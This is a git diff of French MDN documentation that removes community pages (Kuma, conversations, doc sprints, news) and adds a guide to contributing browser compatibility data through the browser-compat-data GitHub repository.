diff --git a/files/fr/mdn/kuma/index.html b/files/fr/mdn/kuma/index.html deleted file mode 100644 index c9f3813cb2..0000000000 --- a/files/fr/mdn/kuma/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Kuma, la plateforme soutenant le wiki MDN' -slug: MDN/Kuma -tags: - - Kuma - - Kuma script - - MDN Meta -translation_of: MDN/Kuma ---- -
{{MDNSidebar}}{{IncludeSubnav("/fr/docs/MDN")}}
- -

Kuma est le code Django qui alimente le MDN Web Docs.

- -

{{SubpagesWithSummaries}}

- -

S'impliquer avec Kuma

- -

Pour s'engager avec Kuma :

- - diff --git "a/files/fr/mdn/rejoindre_la_communaut\303\251/conversations/index.html" "b/files/fr/mdn/rejoindre_la_communaut\303\251/conversations/index.html" deleted file mode 100644 index 70596f8299..0000000000 --- "a/files/fr/mdn/rejoindre_la_communaut\303\251/conversations/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Discussions de la communauté MDN -slug: MDN/Rejoindre_la_communauté/Conversations -translation_of: MDN/Community/Conversations ---- -
{{MDNSidebar}}

Le travail de MDN se fait beaucoup sur le site MDN mais la communauté est trés active aussi par des discussions (synchrones ou asychrones) se faisant en ligne, par chat ou rencontres organisées.

- -

Les discussions asynchrones :

- -

Pour partager des informations et tenir des conversations en direct,  MDN a sa propre catégorie ("MDN") dans le forum Mozilla.  Choisissez cette catégorie pour tous les sujets ayant trait à MDN, y compris le contenu de la documentation, la création, la traduction et la maintenance; la plateforme de développement MDN, et le planning, la définition des objectifs, le suivi des avancées.

- -
    -
  • Pour rejoindre les conversations Mozilla, voyez la page pour s'inscrire (en); si vous avez un compte LDAP Mozilla, vous devriez l'utiliser à la place du "Login par email".
    • -
  • Pour s'inscrire dans une catégorie, voyez s'incrire dans des catégories et sujets (en).
    • -
  • (Optionnel) Si vos préférez, dans un premier temps, interagir dans les discussions par email,  voyez Comment converser par email (en). Vous pouvez débuter une conversation dans "Discourse" (discussion) en envoyant un message à : mdn@mozilla-community.org. Si vous utilisez  Discourse par email, vous pouvez répondre aux messages en répondant au message de notification que vous avez reçu. Si vous voulez insérer des commentaires dans une réponse, faites deux retour chariot avant et après votre intervention, que  Discourse puisse l'analyser correctement.
    • -
- -

Historical archives

- -

Avant Juin 2017, les discussions de MDN se faisaient par "mailing lists" qui étaient filtrées et archivées avec "Google groups". Si vous voulez voir ces discussions anciennes, regardez dans les "Google groups" correspondants aux vieilles liste de mailings. ( oui, nous savons hélas que ces noms sont  redondants et déroutants. Un accident historique, désolé pour ça...)

- -
-
mozilla.dev.mdc a.k.a. dev-mdc
-
Cette liste concernait le contenu de la documentation sur MDN.
-
mozilla.dev.mdn a.k.a. dev-mdn
-
Cette liste concernait le travail de développement sur la plateforme MDN  Kuma.
-
mozilla.mdn a.k.a. mdn@
-
Ce forum concernait le planning et l'établissement des priorités de discussions pour le site MDN et autres initiatives associées.
-
- -

 

- -

Chat sur IRC

- -

 

- -

Internet Relay Chat (IRC) est notre méthode préférée pour le chat quotidien et la discussion en temps réel entre membres de la communauté. Nous utilisons quelques canaux sur le serveur irc.mozilla.org pour les discussions sur MDN.

- -
-
#mdn
-
This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.
-
#mdndev
-
This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.
-
- -

These channels are most likely to be active during weekdays in North America.

- -

You may want to learn more about IRC and use an installable IRC client such as ChatZilla. It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as Mibbit. Here are the direct links to the #mdn and #mdndev channels on Mibbit.

- -

Join our meetings (and other events)

- -

The MDN team holds a number of regular meetings that are open to the MDN community. See the MDN Meetings page on the Mozilla wiki for details on the schedule, agendas and notes, and info on how to join.

- -

See the MDN Events calendar for these and other meetings, local meetups, and other events. The recurring meetings are summarized on the MDN Meetings wiki page.

- -

If you see a meeting which takes place in the "mdn" channel on our Vidyo videoconferencing system, you can join the conversation on the web.

diff --git "a/files/fr/mdn/rejoindre_la_communaut\303\251/doc_sprints/index.html" "b/files/fr/mdn/rejoindre_la_communaut\303\251/doc_sprints/index.html" deleted file mode 100644 index 8fbfa54cd1..0000000000 --- "a/files/fr/mdn/rejoindre_la_communaut\303\251/doc_sprints/index.html" +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Doc sprints -slug: MDN/Rejoindre_la_communauté/Doc_sprints -translation_of: MDN/Community/Doc_sprints ---- -
{{MDNSidebar}}

{{ draft() }}

- -
-

Remarque: La communauté MDN a souvent tenu des doc sprints au cours de la période 2010-2013. À partir de 2014, ces événements ont été élargis en champ de «Hack on MDN» les événements qui incluent le code de piratage ainsi que des projets de documentation. La plupart des conseils ci-dessous s'applique aussi bien aux "Hack" sprints et qu'aux documentation sprints.

-
- -

Ceci est un guide pour l'organisation d'un doc sprint. Il contient des conseils et astuces de personnes qui ont organisé les doc sprints, pour vous aider dans l'organisation de celui-ci aussi. Ce guide appuie également sur les idées du livre FLOSS Manuals Book Sprints.

- -

Qu'est ce qu'un doc sprint?

- -

Un doc sprint est une courte période où un groupe de personnes se réunissent, virtuellement ou réellement, à collaborer à la rédaction de documentation sur un sujet donné ou des sujets connexes.

- -

Types de sprints

- -

Les sprints peuvent être virtuel ou en personne, ou une combinaison. Pour un sprint virtuel, tout le monde participe à partir de là où ils se trouvent, en communiquant  uniquement par le biais des cannaux dédiés. Pour un sprint en personne, les participants se réunissent au même endroit pendant toute la durée du sprint, afin qu'ils puissent communiquer  face-à-face. Les sprints hybrides peuvent être la plupart du temps en personne avec des participants à distance, ou la plupart du temps virtuel avec des rassemblements locaux. En personne les sprints exigent plus de planification logistique, pour assurer le lieu de la reunion , reunir tout le monde dans un même endroit, les loger et les nourrir pendant le sprint.

- -

Une autre manière de classer par catégorie les sprints focalisés sur des thématiques  . Par exemple, un sprint pourrait se concentrer sur un domaine particulier, tels que le développement Web, ou sur la traduction dans une langue particulière.

- -

Planification d'un sprint

- -

Determiner les objectifs

- -

Ayez une idée claire sur quels sont les objectifs pour le sprint, à la fois pour le contenu et la communauté. Cela permet de conduire votre planification dans les moindres détails.

- -
    -
  • Voulez-vous  documenter un sujet particulier?
    • -
  • Voulez-vous créer un type particulier de documents ou de ressources? Par exemple, des tutoriels, des exemples de code, ou des traductions dans une langue particulière.
    • -
  • Voulez-vous attirer de nouvelles personnes à contribuer au MDN?
    • -
  • Voulez-vous augmenter la cohésion entre les membres de la communauté existante?
    • -
- -

Décider du type et de la portée

- -

Basé sur vos objectifs, se prononcer sur le type de sprint (virtuel, en personne, ou une combinaison) et la portée (sur quoi seront focalisés les participants).

- -

Par exemple, si vous voulez attirer de nouveaux membres de la communauté, un sprint local en personne serait un bon choix, car aucun voyage est impliqué, mais les participants ont l'occasion de se rencontrer. Si vous voulez vous concentrer sur un domaine spécifique, où les contributeurs de contenu sont répartis géographiquement, et se connaissent déjà les uns les autres, alors un virtual sprint peut faire l'affaire.

- -

Choisissez les dates et heures

- -

Pour les sprints en personne qui nécessitent un Voyage, nous avons constaté que trois jours (Soit deux jours de week-end et un jour de semaine) est assez suffisant pour pouvoir accomplir  un travail important, sans prendre trop de temps loin de la vie normale de tout le monde. Pour, sprints public, local, en personne, un jour oû vous pouvez expérer avoir le plus de personne pour s'engager. Pour les sprints virtuels, ils se font généralement sur deux jours: un jour de semaine et un jour de week-end. Comme  autre exemple, dans le passé, il y a eu un mini-sprint pour l'écriture et la traduction de documents, chaque mercredi soir dans le bureau Mozilla Paris; il était principalement en personne pour les résidents, mais a également obtenu la participation à distance de Montréal (où il était à l'heure du déjeuner).

- -

Placer un sprint à la fin d'une conférence à laquelle tout le monde a assisté a bien fonctionné; essayer de lancer un sprint lors d'une conférence à laquelle tout le monde a assisté ne fonctionnait pas si bien. Assurez-vous que les participants aient connaissance du sprint quand ils font leurs plans de conférence, de sorte qu'ils permettent des jours supplémentaires pour le sprint.

- -

Considérez les fuseaux horaires des participants virtuels; être sûr que vous laissez suffisamment de temps de travail dans chaque fuseau horaire, et vous avez un certain chevauchement lorsque plusieurs zones (comme l'Europe et des Amériques, ou Amériques et en Asie) sont éveillés. Cependant, c'est une réalité que le temps de personne n'est bon pour tout le monde partout.

- -

Pour les virtual sprints, les rendez-vous peuvent être réglées à moins de 2-3 semaines à l'avance. Pour les in-person sprints, vous devez décider plus à l'avance, afin de laisser le temps aux gens de décider et de faire des arrangements de voyage.

- -

Promouvoir le sprint

- -

Vous pouvez faire le sprint ouvert, et inviter le monde, mais vous devriez avoir quelques personnes clés qui vous savez participeront effictivement. Travailler avec eux lors de la sélection des dates, pour vous assurer qu'ils sont disponibles pendant les dates choisies. Si le sprint n'est pas ouvert, alors vous avez besoin seulement d'étendre les invitations; Assurez-vous que chaque invitation est personnelle, expliquant pourquoi cette personne a été spécialement invitée.

- -
-
-
-
-
-
-
 
-Pour les public sprints, identifier les groupes existants qui ont un intérêt pour le sujet, par exemple: Les groupes meetup développeur Web locaux pour un in-person sprint locale. Envoyer une annonce par quelque canal est approprié pour ce groupe. Assurez-vous de fournir un lien vers une page web avec plus de détails, et inclure un call-to-action pour les gens s'enregistrer pour le sprint. Eventbrite et Lanyrd sont deuw services qui supportent les enregistrements. Pour les événements Mozilla developer,nous avons constaté que près de la moitié des personnes qui s'enregistrent apparaissent effectivement.
-
-
-
-
-
- -

Utilisez les canaux de médias sociaux qui sont appropriés pour atteindre vos participants cibles. Nous avons constaté que pour les développeurs Web, cela signifie Twitter, suivi par Google Plus, plus que Facebook ou LinkedIn. Cependant, les canaux populaires peuvent varier géographiquement (comme Orkut au Brésil). Faites appel à quelques personnes bien connectées qui ont une forte popularité parmi votre public cible, et leur demander de re-partager vos messages.

- -

Logistiques pour les in-person sprints

- -

Les logistiques pour les in-person sprints sont plus grands pour les longs sprint que pour ceux où les participants se deplacent pour assister. Un court sprint ou un sprint seulement reservé aux locaux nécessite relativement moins de support logistique.

- -

Budget et financement

- -

Vous devez savoir combien l'événement va coûter, et d'où l'argent va venir.

- -

Les coûts à considérer dans votre budget incluent:

- -
    -
  • Voyage
    • -
  • Hébergement
    • -
  • Nourriture
    • -
  • Espace de réunion
    • -
- -

Certains de ces coûts peuvent être auto-financé par les participants, ce qui signifie qu'ils paient pour leurs propres dépenses. Il existe une variété de façons d'économiser de l'argent, qui sont mentionnés dans les sections suivantes.

- -

Il peut être possible d'obtenir le parrainage de Mozilla pour financer une partie des coûts de votre événement. Il permet d'avoir une orientation claire pour votre événement, et un plan spécifique et budget. S'il y a un Mozilla Rep dans votre région, travailler avec eux pour demander le budget et butin à travers le programme Reps. Sinon, vous pouvez soumettre une demande d'événements de développement dans Bugzilla.

- -
-
Site
-
Il y a beaucoup d'options pour un espace de réunion. Si vous êtes dans une ville avec un bureau Mozilla, vous pouvez utiliser l'espace communautaire dans ce bureau. Ailleurs, les options comprennent des salles de réunion dans les bibliothèques, églises, cafés, ou des entreprises où vous avez des contacts. Beaucoup de villes ont maintenant des espaces de coworking qui louent leurs salles de conférence pour un prix raisonnable.
-
Ressources
-
Assurez-vous que votre site a de bonnes tables et des chaises, et une alimentation fiable et un accès Internet. Assis toute la journée sur une mauvaise chaise est non seulement mal à l'aise; il peut conduire à des blessures. Assurez-vous que le nombre de particiapants et leurs ordinateurs et périphériques ne l'emporte pas sur l'alimentation et la bande passante disponible sur Internet. Soyez généreux (mais pas dangereux) avec des cordons d'extension, et, si nécessaire, d'adaptateurs électriques. Un projecteur pour la visualisation partagée peut être très utile. Whiteboards et notes autocollantes sont grands pour le brainstorming et la planification.
-
Voyage
-
Voyage est pertinente que si les particanpts ne sont pas tous à proximité du lieu de sprint. Les stratégies habituelles pour économiser sur Voyage s'appliquent, et ne sont pas spécifiques aux sprints doc.
-
Hébergements
-
Où les particapants restent ne devraient pas être incommodemrnt loin du lieu de la réunion. Il peut être moins cher (et peut-être plus amusant) de diviser le coût d'une maison de vacances ou appartement, plutôt que de payer pour les chambres d'hôtel individuelles. Si vous avez un mélange de visiteurs et des habitants (prêts), les visiteurs peuvent séjourner dans les maisons des membres de la communauté locale.
-
Nourriture
-
Les participants ont besoin de manger! Prendre des dispositions pour la nourriture pendant le sprint, et informer les participants si certains repas ne seront pas organisées. Si le groupe reste dans une maison, vous pouvez économiser de l'argent en achetant et en cuisinant la nourriture plutôt que de sortir pour manger. Même si la nourriture est auto-financée, il peut réduire des tracas de piocher dans un fonds commun pour la nourriture, plutôt que diviser chaque facture de restaurant. Si votre site permet, des collations (certains sains et d'autres non) disponibles entre les repas.
-
Amusement
-
Prenez du temps pour des des activités sociales de non-écriture. Ceux-ci peuvent être informelles, comme aller pour une randonnée ensemble, ou plus formelle, comme une excursion touristique. Sortir de la bière (à la fin de la journée, bien sûr) est généralement un gagnant. D'autre part, ne pas planifier toutes les heures de la vie quotidienne. Tout le monde a besoin d'un temps d'arrêt, en particulier les introvertis.
-
- -

Pendant le sprint

- -

Planifier le travail

- -

 

- -

Tâches de suivi

- -

Avoir un moyen de suivre que des tâches doivent être éfféctuées, qui fait quoi, et ce qui a été accompli. Pour les doc sprints MDN, nous utilisons une page wiki pour la planification à l'avance, et une EtherPad pour le suivi des travaux au cours du sprint.

- -

Souvent, les gens veulent aider, mais ne savent pas par où commencer, et de décider parmi les nombreuses options prend trop d'effort mental. Pour tout participant donné, leur donner quelques tâches possibles ("vous pourriez faire A ou B"); ce qui simplifie leur choix, sans leur faire penser qu'ils sont gérés.

- -

Collaboration

- -

L'un des avantages des in-person sprints est que les gens peuvent travailler ensemble de façon dont ils pourraient ne pas être en mesure quand ils ne sont pas au même endroit, par exemple, en travaillant sur des idées ensemble sur un tableau blanc ou par remue-méninges avec notes autocollantes. Pourtant, il existe des possibilités de collaboration et de camaraderie dans tout type de sprint. Chatter via IRC est essentiel pour les virtual sprints, et toujours très utile pour les in-person sprints (par exemple, pour partager des liens). Pour un plus grand sens de la «présence virtuelle», envisager d'utiliser un service de conférence vidéo, tels que Google Hangout.

- -

En tant qu'organisateur, rechercher les intérêts communs entre les participants et des façon dont ils peuvent travailler ensemble.

- -

Célébrer les réalisations

- -

Assurez-vous de prendre le temps de célébrer les réalisations à la fin de l'esprit. Cela donne des participants est une meilleure sensation que lorsque le sprint se termine juste sans résumé. Si possible, avoir des gens une "demo" de ce qu'ils ont fait, même si c'est juste montrer une nouvelle page de l'article.

- -

En outre, partager les réalisations de sprint par un billet de blog, pour célébrer publiquement aussi bien. Ceci est important pour tout type de sprint, mais surtout pour les virtual sprints, où les participants pourraient ne pas être tous en ligne à la fin officielle du sprint pour une séance de synthèse.

- -

 

diff --git "a/files/fr/mdn/rejoindre_la_communaut\303\251/index.html" "b/files/fr/mdn/rejoindre_la_communaut\303\251/index.html" deleted file mode 100644 index 4e97b48397..0000000000 --- "a/files/fr/mdn/rejoindre_la_communaut\303\251/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Rejoindre la communauté -slug: MDN/Rejoindre_la_communauté -tags: - - Communauté - - Guide - - MDN Meta -translation_of: MDN/Community ---- -
{{MDNSidebar}}
- -
-

MDN (acronyme anglais pour réseau de développeur Mozilla) est plus qu’un wiki : c’est une communauté de développeurs travaillant ensemble à faire de MDN une ressource exceptionnelle pour les développeurs qui utilisent les technologies libres du Web.

-
- -

Nous aimerions que vous contribuiez à MDN, mais nous aimerions encore plus que vous participiez à la communauté MDN. Voici comment s’y connecter, en 3 petites étapes :

- -
    -
  1. Créer un compte MDN.
    2. -
  2. Rejoindre des discussions. ((en) pas encore traduit)
    3. -
  3. Suivre ce qui se passe. ((en) pas encore traduit)
    4. -
- -

Comment fonctionne la communauté ?

- -

Les articles suivants décrivent la communauté de MDN.

- -
-
-
-
Community roles ((en) rôles dans la communauté)
-
Il y a un certain nombre de rôles, au sein de la communauté MDN, qui ont des responsabilités spécifiques.
-
Doc sprints
-
Ceci est un guide pour organiser un « doc sprint ». Il contient des avis et des conseils de personnes qui en ont organisé, pour vous aider si vous souhaitez en faire un.
-
Follow what’s happening ((en) suivre ce qui se passe)
-
MDN vous est présenté par l’article wiki Mozilla Developer Network community (en). Il contient quelques façons de partager des informations sur ce que nous faisons.
-
- -
-
-
- -
-
-
MDN community conversations ((en) discussions de la communauté)
-
Le « travail » de MDN se déroule sur le site MDN, mais la « communauté » passe également par des discussions (asynchrones) et des conversations et réunions en ligne (synchrones).
-
Working in community ((en) travailler dans la communauté)
-
Une partie importante de la contribution à la documentation MDN, à une échelle significative, est de savoir comment travailler dans le cadre de la communauté MDN. Cet article offre des conseils pour vous aider à tirer le meilleur parti de vos interactions avec les autres auteurs et avec les équipes de développement.
-
-
-
diff --git "a/files/fr/mdn/rejoindre_la_communaut\303\251/whats_happening/index.html" "b/files/fr/mdn/rejoindre_la_communaut\303\251/whats_happening/index.html" deleted file mode 100644 index 8aba56f330..0000000000 --- "a/files/fr/mdn/rejoindre_la_communaut\303\251/whats_happening/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Suivez ce qui se passe -slug: MDN/Rejoindre_la_communauté/Whats_happening -tags: - - Communauté - - Débutant - - Guide - - MDN Meta -translation_of: MDN/Community/Whats_happening ---- -
{{MDNSidebar}}
- -

MDN vous est présenté par la communauté MDN. Voici quelques façons dont nous partageons des informations sur ce que nous faisons.

- -

Blogs

- -
-
Mozilla Hacks
-
Actualités à propos et couverture approfondie des technologies et fonctionnalités Web et Mozilla.
-
Engageant les Développeurs
-
Promouvoir l'activité et la discussion au sein de la communauté impliquée dans MDN chez Mozilla.
-
- -

Flux d'éphémères

- -
    -
  • @MozDevNet: Pages intéressantes, tutoriels, guides, appels à soumissions, mises à jour importantes et autres nouvelles sur Mozilla Developer Network.
    • -
  • @MozHacks: Tweets sur les nouvelles technologies web, les excellentes applications HTML5, et les fonctionnalités de Firefox.
    • -
  • Mozilla Hacks (YouTube)
    • -
- -

Tableaux d'état et tableaux de bord

- -

Consultez les pages d'état de la documentation pour voir ce qui se passe dans toute l'étendue du contenue MDN. Vous pourrez voir quels articles doivent être écrits ou mis à jour, quels sujets ont le plus besoin d'aide, et bien plus encore.

- -

Réunions MDN

- -

Il y a un certain nombre de réunions régulières pour suivre et partager les progrès de divers porjets et processus liés au MDN. Celles-ci sont décrites sur la page wiki des réunions MDN.

- -

Pour avoir une idée générale de ce qui se passe, la meilleure réunion à laquelle participer est la réunion de la communauté MDN, qui a lieu toutes les deux semaines le mercredi à 10:00, heure du Pacifique (UTC-0800 Octobre-Mars, UTC-0700 en Mars-Octobre), dans le canal IRC #mdn. Voir la page wiki des réunions de la communauté MDN pour les agendas et les notes des réunions précédentes.

- -

Le calendrier des Événements MDN Publics contient des réunions de la communauté MDN, des sprints de doc, et d'autres événements liés à MDN. Si vous voyez une réunion qui a lieu dans le canal "mdn" sur notre système de visioconférence Vidyo, vous pouvez rejoindre la conversation sur le web.

diff --git a/files/fr/mdn/structures/compatibility_tables/index.html b/files/fr/mdn/structures/compatibility_tables/index.html new file mode 100644 index 0000000000..cb334e51c4 --- /dev/null +++ b/files/fr/mdn/structures/compatibility_tables/index.html @@ -0,0 +1,503 @@ +--- +title: Tables de compatibilité +slug: MDN/Structures/Tables_de_compatibilité +tags: + - Compatibilité + - Documentation + - Guide + - MDN + - Navigateurs +translation_of: MDN/Structures/Compatibility_tables +--- +
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

MDN a un format standard pour les tables de compatibilité de notre documentation du web ouvert ; c'est-à-dire la documentation de technologies comme le DOM, HTML, CSS, JavaScript, SVG etc. partagées par tous les navigateurs. Cet article explique comment utiliser nos fonctionnalités pour ajouter des données de compatibilité aux pages MDN.

+ +
+

Important : La façon dont les données sont générées a changé. Historiquement, nos tables ont été insérées sur la page et les données ont été renseignées manuellement. Ceci est inefficace, rend la maintenance difficile et rend les données inflexibles. Par conséquent, nous migrons les données de notre navigateur pour les stocker dans un référentiel de données (voir https://github.com/mdn/browser-compat-data) et générer les tables par programme.
+
+ Dans ce guide, nous documentons la nouvelle façon d'ajouter des données aux tables de compatibilité pour MDN, mais nous avons conservé la documentation à l'ancienne, car vous pourrez voir des tables manuelles sur MDN pendant un moment. Si vous avez besoin de la documentation ancienne, voyez notre article Anciennes tables de compatibilité.

+
+ +
+

Note : Si vous avez besoin d'aide sur les étapes de ce guide, n'hésitez pas à nous contacter sur le forum de discussion MDN (en).

+
+ +

Comment accéder au dépôt de données

+ +

Les données sont stockées dans un dépôt de GitHub — voir https://github.com/mdn/browser-compat-data. Pour y accéder, vous devez obtenir un compte GitHub, réaliser une branche du browser-compat-data sur votre propre compte, puis cloner votre branche sur votre machine locale.

+ +

Choisir une fonctionnalité pour y ajouter des données

+ +

Tout d'abord, cherchez une fonctionnalité pour laquelle vous souhaitez ajouter des données de navigateur. Cela peut être un élément HTML, une propriété CSS, une fonctionnalité du langage JS ou une interface d'API JS, par exemple. Nous aimerions vous encourager à travailler sur les fonctionnalités de l'API, car nous avons déjà des personnes travaillant sur HTML, JS et CSS. Vous pouvez trouver le statut des fonctionnalités qui ont besoin de leurs données en ajoutant au dépôt sur notre tableur Browser Compat Data migration (migration des données des tables de compatibilité des navigateurs).

+ +

Le processus d'utilisation est le suivant :

+ +
    +
  1. Allez-y et choisissez une fonctionnalité qui n'est pas déjà travaillée ou complète. Inscrivez votre nom dans la colonne "Who" (qui), de préférence avec votre nom d'utilisateur MDN afin que nous puissions trouver votre adresse e-mail et vous contacter si nécessaire.
    2. +
  2. Si la fonctionnalité sur laquelle vous souhaitez travailler n'est pas déjà répertoriée dans la feuille de calcul, ajoutez-y des lignes à un emplacement approprié, en copiant le format qui s'y trouve déjà. Vous devez également utiliser la même granularité (par exemple, par élément pour HTML, par propriété ou sélecteur pour CSS, par objet pour JS, par interface pour API).
    3. +
  3. Une fois que vous avez commencé à ajouter des données, mettez le statut "In progres" (En cours).
    4. +
  4. Une fois que vous avez ajouté les données et soumis une demande d'extraction au dépôt principal, attribuez le statut "PR done".
    5. +
  5. Au fur et à mesure que vos données sont fusionnées au rapport, ajoutées au paquet npm, mettez à jour le statut si nécessaire.
    6. +
  6. Une fois que vous avez mis à jour les pages de documentation pour votre fonctionnalité afin d'utiliser la nouvelle macro pour générer dynamiquement la table de données appropriée sur chaque page, définissez l'état sur "Article mis à jour". À ce stade, vous avez terminé.
    7. +
+ +

Préparation à l'ajout de données

+ +

Avant d'ajouter de nouvelles données, vous devez vous assurer que votre branche est à jour avec le dépôt principal (le même contenu), créer une nouvelle branche dans votre embranchement pour contenir vos ajouts, puis récupérer cette branche dans votre clone local pour pouvoir commencer à y travailler :

+ +

Regardons un moyen simple de nous assurer que votre fourche est à jour :

+ +

Ajout d'un "remote" au dépôt principal navigateur-compat-données

+ +

Accédez à votre clone local de la branche dans votre terminal / ligne de commande, et ajoutez un"remote" pointant vers le dépôt principal (en amont) comme ceci (vous n'avez besoin de le faire qu'une seule fois):

+ +
git remote add upstream https://github.com/mdn/browser-compat-data.git
+ +

Si vous n'êtes pas sûr d'y être parvenu, vous pouvez vérifier quels "remotes" votre dépôt utilise.

+ +
git remote -v
+ +

Mise à jour de votre branche avec le contenu du "remote"

+ +

Maintenant, chaque fois que vous voulez mettre à jour votre branche, vous pouvez le faire en :

+ +
    +
  1. +

    Vous assurant que vous êtes dans la branche maîtresse :

    + + 
          git checkout master
    +
    2. +
  2. +

    Allant chercher le contenu du dépôt à jour avec la commande suivante :

    + + 
          git fetch upstream
    +
    3. +
  3. +

    Rebasant le contenu de votre branche maîtresse avec le contenu du dépôt principal :

    + + 
          git rebase upstream/master
    +
    4. +
  4. +

    poussant ces mises à jour de votre branche distante en utilisant ce :

    + + 
        git push -f
+
    +
    5. +
+ +

Création d'une nouvelle branche pour y travailler

+ +

Ensuite, allez sur votre fourche distante (elle doit être à https://github.com/your-username/browser-compat-data) et créer une nouvelle branche pour stocker vos modifications pour cet ajout de données. Ceci peut être fait en:

+ +
    +
  1. Cliquant sur le bouton "Branch: Master".
    2. +
  2. Saisissant le nom de votre nouvelle branche dans le champ texte "Find or create a branch...".
    3. +
  3. Cliquant sur le bouton "Create branch name-of-branch from Master" qui vient d'être généré.
    4. +
+ +

Par exemple, si vous vouliez ajouter des données pour l'API WebVR, vous devriez créer une branche nommée "webvr".

+ +

Aller sur la nouvelle branche

+ +

A ce stade, retournez dans votre terminal / ligne de commande, et mettez à jour la copie de votre fourche locale pour inclure votre nouvelle branche en utilisant la commande suivante:

+ +
git pull
+ +

Maintenant allez sur votre nouvelle branche en utilisant:

+ +
git checkout -b name-of-branch
+ +

Vous devriez maintenant être prêt à ajouter vos données!

+ +

Ajouter les données

+ +

Pour ajouter les données, vous devez créer un ou des nouveaux fichiers pour y stocker les données de compatibilité. Les fichiers que vous devez créer diffèrent, selon la technologie sur laquelle vous travaillez:

+ +
    +
  • HTML: Un fichier par élément HTML, contenu dans browser-compat-data/html/elements. Le fichier doit être nommé avec le nom de l'élément, tout en minuscules, ex. div.json.
    • +
  • CSS: Un fichier par propriété ou sélecteur CSS, contenu dans le répertoire approprié (voir browser-compat-data/css). Le fichier doit être nommé avec le nom de la fonctionnalité, tout en minuscules, ex. background-color.json, ou hover.json.
    • +
  • JS: Un fichier par objet JS, contenu dans browser-compat-data/javascript/builtins. Le fichier doit être nommé avec le nom de l'objet, en respectant la casse, ex. Date.json ou InternalError.json.
    • +
  • APIs: un fichier par interface contenu dans l'API, mis dans browser-compat-data/api. Chaque fichier doit être nommé avec le nom exact de l'interface, en respectant la casse, ex. L'API WebVR a VRDisplay.json, VRDisplayCapabilities.json, etc.
    • +
+ +
+

Note: Vous remarquerez que le dépôt contient aussi des données pour les Extensions de navigateurs et pour HTTP. Ces ensembles de données sont esssentiellement finis en l'état, mais il faudra peut-être ajouter d'autres fonctionnalités à l'avenir.

+
+ +

Chaque fichier que vous créez doit suivre le modèle défini dans le schéma contenu dans notre dépôt; vous pouvez voir la description détaillée du schema ici.

+ +

Structure basique des données de compatibilité

+ +

Prenons un exemple. Les fichiers JSON de propriété CSS ont par exemple besoin de la structure de base suivante:

+ +
{
+  "css": {
+    "properties": {
+      "border-width": {
+        "__compat": {
+          ...
+        }
+      }
+    }
+  }
+}
+ +

Vous avez l'objet css, à l'intérieur duquel vous avez l'objet properties. A l'intérieur de l'objet properties, vous avez besoin d'un membre pour chacunes des fonctionnalités  dont vous voulez définir les données. Chacun de ces membres a un membre __compat, à l'intérieur duquel les données vont.

+ +

Les données ci-dessus se trouvent dans le fichier border-width.json — comparez les à la  table de support de border-width disponible sur MDN.

+ +

D'autres types de fonctionnalités fonctionnent sur le même principe, mais avec des noms d'objets différents:

+ +
    +
  • Les sélecteurs CSS fonctionnent essentiellement de la même manière que les proprités CSS, sauf que la structure de l'objet de plus haut niveau est css.selectors à la place de css.properties. Voir cue.json pour un exemple.
    • +
  • Les données HTML fonctionnent essentiellement de la même manière, sauf que la structure de l'objet de plus haut niveau est html.elements. Voir article.json pour un exemple.
    • +
  • La structure d'objet de plus haut niveau pour les objets intégrés JS est javascript.builtins; voir Array.json pour un exemple.
    • +
+ +
+

Dans les pages HTML, CSS, et JS, vous n'avez normalement besoin que d'une seule fonctionnalité. Les interfaces d'API fonctionnent légèrement différement — elles ont toujours de multiples sous caractéristiques (voir {{anch("Sub-features")}}, ci-dessous).

+ +

Structure de base à l'intérieur d'une fonctionnalité

+ +

Dans un membre __compat, vous devez inclure les membres suivants:

+ +
    +
  • mdn_url: Contient l'URL de la page de référence pour cette fonctionnalité sur MDN. Notez qu'elle doit être écrit sans le répertoire de la locale, ex. /docs/... et non /docs/en-US/... (ou autre). Il est ajouté par une macro lorsque les données sont mises sur la page, à des fins de localisation.
    • +
  • support: Contient des membres indiquant les informations de support du navigateur pour cette fonctionnalité, dans les différents navigateurs que nous souhaitons indiquer.
    • +
  • status: Contient des membres indiquant l'état de suivi des normes pour cette fonctionnalité.
    • +
+ +

Les noms des membres pour le navigateur sont définis dans le schéma (voir Browser identifiers). Vous devez utiliser la liste complète des identifiants actuellement définis. Si vous souhaitez ajouter un navigateur, parlez-nous en d'abord, car cela pourrait avoir un impact important et ne devrait pas être fait sans une réflexion approfondie.

+ +

Dans un fichier de base de compatibilité de navigateur, vous n'avez qu'à inclure "version_added" dans les membres de l'identifiant de navigateur (nous reviendrons plus tard sur {{anch("Advanced cases")}}). Les différentes valeurs que vous pouvez inclure sont les suivantes:

+ +
    +
  • Un numéro de version: Si vous connaissez la version exacte à partir de laquelle le navigateur supporte cette fonctionnalité, utilisez une chaîne de caractères représentant ce nombre, ex. "47".
    • +
  • true: Si un navigateur supporte la fonctionnalité mais que vous ne connaissez pas la version exacte, utilisez la valeur true. Ceci équivaut à l'appel de la macro  \{{CompatVersionUnknown}} dans les anciennes tables manuelles.
    • +
  • false: Si un navigateur ne supporte pas la fonctionnalité, utilisez la valeur false. Ceci équivaut à l'appel de la macro \{{CompatNo}} dans les anciennes tables manuelles.
    • +
  • null: Si vous ne savez pas si un navigateur supporte ou non une fonctionnalité, utilisez la valeur null. Ceci équivaut à l'appel de la macro \{{CompatUnknown}} dans les anciennes tables manuelles.
    • +
+ +

A l'intérieur du membre status, vous inclurez trois sous-membres:

+ +
    +
  •  "experimental": Ceci doit être mis à true si la fonctionnalité est expérimentale, ou false dans les autres cas.
    • +
  • "standard_track": Ceci doit être mis à true si la fonctionnalité est en cours de standardisation (le plus souvent W3C/WHATWG, mais il y a aussi d'autres efforts de standardisation tels que Khronos, TC39, etc.) ou false dans les autres cas.
    • +
